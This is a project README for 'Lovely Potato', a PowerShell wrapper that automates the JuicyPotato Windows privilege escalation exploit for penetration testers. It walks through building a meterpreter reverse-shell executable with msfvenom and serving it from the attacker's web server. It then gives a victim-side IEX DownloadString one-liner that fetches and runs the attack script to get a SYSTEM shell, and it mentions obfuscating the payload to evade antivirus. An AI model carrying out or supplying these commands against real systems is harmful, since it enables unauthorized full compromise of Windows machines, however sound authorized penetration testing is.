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Lovely Potato (automating juicy potato)

Powershell wrapper of Decoder's JuicyPotato for easy exploitation. This entirely depends on the original Juicy Potato binary and utilizes his test_clsid.bat. TL;DR: SeImpersonatePrivilege Is Enabled = JuicyPotato Exploitable

Quick Guide

First clone this repo to your attacker machine which already has all of required dependencies:

root@attacker:~# git clone
root@attacker:~# cd Lovely-Potato

Then modify the two following variables in 'Invoke-LovelyPotato.ps1' as below (attacker machine IP, writable path on the victim machine):

$RemoteDir = "http://[AttackerIP]
$LocalPath = "[WritablePathOnVictimMachine]"

Now create a meterpreter binary on the attacker machine or use any other executable reverse shell:

root@attacker:~/Lovely-Potato# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[AttackerIP] LPORT=[AttackerPort] -f exe -o meterpreter.exe

Start a web server in this repo to serve your meterpreter.exe and other dependencies:

root@attacker:~/Lovely-Potato# python3 -m http.server 80

On a new terminal, launch metasploit console (or any listener which handles whatever you are serving as a reverse shell):

root@attacker:~# msfdb run
msf5 > # I'm going to omit setting up the multi handler as it is something you should already know

Finally enter below command on victim's powershell console and you MUST WAIT 10 minutes for reverse shell running as user NT AUTHORITY\SYSTEM!

PS > IEX(New-Object Net.WebClient).DownloadString('http://[AttackerIP]/Invoke-LovelyPotato.ps1')

Why Use Lovely Potato?

For simplicity. Manually uploading various files to target host can be easily avoided with automation. Also, listing entire CLSIDs on the system and identifying privilege for each of them takes very long time if done by sending commands. You can easily switch binaries in the repo any time without having to recode Invoke-LovelyPotato.ps1. Ex) Recompiling JuicyPotato for customization / Obfuscating your meterpreter for AV evasion


Automating juicy potato local privilege escalation exploit for penetration testers.






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